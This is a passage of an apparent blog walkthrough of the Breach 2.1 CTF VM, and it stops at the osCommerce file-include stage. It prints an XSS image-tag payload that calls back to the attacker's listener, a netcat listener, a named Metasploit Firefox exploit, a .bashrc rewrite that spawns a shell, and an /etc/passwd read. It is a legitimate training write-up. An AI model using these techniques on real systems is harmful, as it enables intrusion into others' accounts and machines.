just another infosec blog

Breach: 2.1 – walkthrough

Breach 2.1 is a boot2root/CTF challenge that attempts to showcase a real-world scenario. The challenge is provided as a VM configured with a static IP (192.168.110.151).

The following blog post is my log from playing this challenge.

Test lab environment

As usual my test lab consists of:

Virtual Box

Parrot OS

Breach 2.1 VM

Initial stage

This VM already comes configured with static IP-address. As long as I am on the same sub net as the VM everything should be dandy. As with many other challenges we start with a black box scanning to find open ports:

TIP: Always save your outputs! In this example I am using the XML output option. This makes it way easier importing the results into tools such as Dradis and MagicTree. I’ve omitted any output arguments for the rest of this walk-through.

First portscan

SSH investigation

The initial port scan revealed that port 111/tcp (rpcbind), 56209/tcp (status) and 65535/tcp (ssh) are open. The SSH port caught my eye and will be first victim for scrutiny. For now I will simply barge in:

$ ssh 192.168.110.151 -p 65535

SSH banner

The SSH banner gives away lots of hints for this challenge:

There’s a user with name “Peter” on the server

Peter is on vacation. Perhaps he’s using his personal laptop to access the system?

Peter checks his blog often.

Peter’s password is in the source. Which source?

Very Peter specific hints. The password hint is strange given access is on SSH port only. Anyway, since there are no source to look at I deduct the password is a variant of “in the source“. The sanest way is to treat it like a password, thus removing any white spaces:

SSH Peter fails

Login in as Peter is a success but the connection drops straight away. Since there are no warning or error messages I deduct I am dealing with the “ForceCommand” directive. This directive is typically used for running commands upon logins. I’ll issue another Nmap scan to see if anything changed.

Second Nmap scan

Apparently the login attempt woke Apache from its sleep. Interesting find. Before visiting I decide to enumerate folders up front):

nmap --script=http-enum.nse 192.168.110.151

Nmap Folder Enumeration

Nothing much found except for the “/blog/” folder. It’s time to do some manual investigation.

Website investigation

The default landing page is a bare one:

Default landing page on web-server

Not exactly much to go by except for something related to “Beef” and a “stapler”. The HTML source code doesn’t give away anything interesting:

HTML comments

Blog investigation

Not exactly sexy

This blog isn’t exactly sexy and is quite old judging from the copyright notice (and the design). Given the hint that Peter is checking his blog constantly I deduct this is it and I have to exploit him directly. Perhaps attacking his browser using XSS:

Searching for exploit

Reading through the list it seems that the “17640.txt” is a possible candidate:

A fitting exploit

A quick test reveals that “register.html” is accessible and gives me hope the exploit will work. The plan is to register a new user using some HTML as user name to connect back to my computer. In that way I can fetch his User-Agent and determine if he is further exploitable.

Username:

<img src="http://192.168.110.04:7771" />

Listener

nc -lvp 7771

And sure enough, after a short while Peter browsed the site and my listener caught it:

Caught by listener

He’s using a fairly old browser. Searching through Metasploit I find that exploit “exploit/multi/browser/firefox_proto_crmfrequest” addresses Firefox 15.

Preparing it for action:

Preparing exploit

Then I register a new user on the blog using an iframe instead of the image tag I previously used. The theory behind it is almost the same, except payload will be dropped in the iframe. After running this exploit all I have to do is to wait for Peter to revisit the members section.

Exploit doing its magic

Once the session is active I can do stuff:

Running “ls” and “id” command before connection dropped

The “id” command shows I am connect as Peter. Earlier on I tried to log in as Peter using SSH. Seemingly it worked but I got kicked right back out again and suddenly Apache was brought to live. I made a note maybe the “ForceCommand” setting was involved, the time is ripe to investigate the circumstances!

Using the active session I peek at the SSH configuration using this command:

This script starts Apache when Peter logs in. Obviously this tossed me right back on the street upon execution. The strategy now is to gain access using SSH. Peters “.bashrc” will play an important part in this strategy since I want to rewrite it completely to spawn a shell:

echo "exec sh" > .bashrc

SSH login

The trick worked and I can successfully login using SSH. Running a quick “whoami” and “ls” reveals:

SSH login successful!

The next thing is to find me some users by investigating “/etc/passwd”:

Finding users

I got “peter”, “blumbergh” and “milton”. Finding users are important, they will come in handy later. Next I’ll figure out if there’s anything interesting running locally on this server.

Local services

For the most part I am interested in anything in listening state. Port 3306 typically indicate the MySQL service, from the socket list I see evidence that MySQL is indeed running. I leave it be for now. Further, there are something listening on port “2323” on localhost. A mystery service maybe Netcat can shed some lights on?

Mysterious service

It appears to be Telnet

Sure thing, Netcat connects but output is garbled. The output resembles something Telnet would produce and connecting to it using the “telnet” command confirms it.

What’s strange is that I am presented with what seems as a GPS position in the welcome banner. Google Maps says it is a place in Houston called “Houston Police Memorial”. This gotta be a major hint! A place with “Houston” in its name in city called Houston? “Houston” seems important. Perhaps the pass-phrase?

Telnet trickery

Blumberg is a dud using “Houston” as password, but there’s something about “milton”. Logging in I am presented with a counter counting downwards, then it asks a silly question about a stapler. I’ve seen that “stapler” referenced before. Anyway, it’s perfectly clear that the counter is a program or script. What’s the best location to hide such a thing? The first thing that pops into mind is “/usr/local”. I decide to go hunting for it.

$ grep -rl stapler /usr/local 2>/dev/null

The offending script causing this is “/usr/local/bin/cd.py” and contains:

From the code in .profile I see that upon login Nginx is set to start running under sudo. What comes next is even more interesting! There’s an alias for “sudo” so that whenever “milton” tries to “sudo” he’s denied. Investigating further using “netstat” I see that a new port has been opened, most likely belonging to Nginx!

Netstat new listening port

Exploiting osCommerce

Browsing to port 8888 brought me just an index page with a pointer to osCommerce. By just looking at the osCommerce logo we can figure out the version number, which is “V3.0a5”. Using “searchsploit” I find a fitting exploit:

osCommerce exploit

This version of osCommerce is prone to a local file-include vulnerability and an HTML-injection vulnerability since it fail to properly sanitize user-supplied input. The URL we are going to exploit looks like this one: